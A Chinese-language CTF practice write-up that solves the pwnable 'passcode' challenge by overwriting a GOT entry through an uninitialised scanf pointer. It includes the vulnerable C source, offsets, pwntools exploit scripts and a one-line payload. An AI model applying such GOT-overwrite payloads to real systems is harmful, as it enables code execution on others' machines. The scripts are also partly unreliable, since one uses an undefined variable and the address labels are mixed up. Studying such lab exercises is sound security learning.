pwn 练习笔记 暑假的第二天 got表覆盖
pwnable passcode
1.ssh连上去看源码:
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
用下面这个命令把源码和程序下载到本地
scp -r -P 2222 [email protected]:/home/passcode/passcode.c /root/pwn
2. 没有思路,看了大佬的博客
https://blog.****.net/smalosnail/article/details/53027024
https://blog.****.net/smalosnail/article/details/53247502
scanf("%d",passcode1);
中passcode1
没有加取地址符号&
如果scanf
没加&
的话,程序会默认从栈中读取4
个字节的数据当做scanf
取的地址
将一个GOT表中的函数地址写到栈中,用来充当scanf()
取的地址,然后把system("/bin/cat flag")
这条指令的地址写到这个GOT表中的函数。
当这个函数被调用时,就会直接执行system("/bin/cat flag")
用read -r passcode查看got表内容
ida打开后找到name,passcode1,passcode2的位置
name 的地址为0804862f,ebp+70
passcode1的地址为0804857c,ebp+10
所以name与passcode1的距离为96
找到system(‘/bin/sh’)
地址为080485e3
构造payload:我们覆盖printf的got表内容printf的地址为0804a000,然后将system(‘/bin/sh’)作为内容写入got表中
payload='a'*96+p32(0804a000)+srt(080485e3)
脚本如下:
from pwn import *
sh = process('./passcode')
printf_addr = 0x0804a000
binsh_addr = 0x080485e3
payload = 'a'*96+p32(printf_addr)+str(binsh_addr)
sh.send(payload)
sh.interactive()
自己写的脚本能拿shell但是执行命令就蹦,大佬覆盖的是fflush的got,我覆盖的是printf所以尝试一下大佬的方法
脚本为:
from pwn import *
sh = process('./passcode')
fllush_addr = 0x0804a004
binsh_addr = 0x080485e3
payload = 'a'*96+p32(printf_addr)+str(binsh_addr)
sh.send(payload)
sh.interactive()
事实证明,大佬的和我的一样情况,可能是在自己本地测试,所以把payload打出来,ssh连上去提交
(突然知道了会一堆乱码的原因,因为没有flag啊!那他读个锤子!!!)
python -c "print 'A'*96+'\x00\xa0\x04\x08'+'134514147\n'" | ./passcode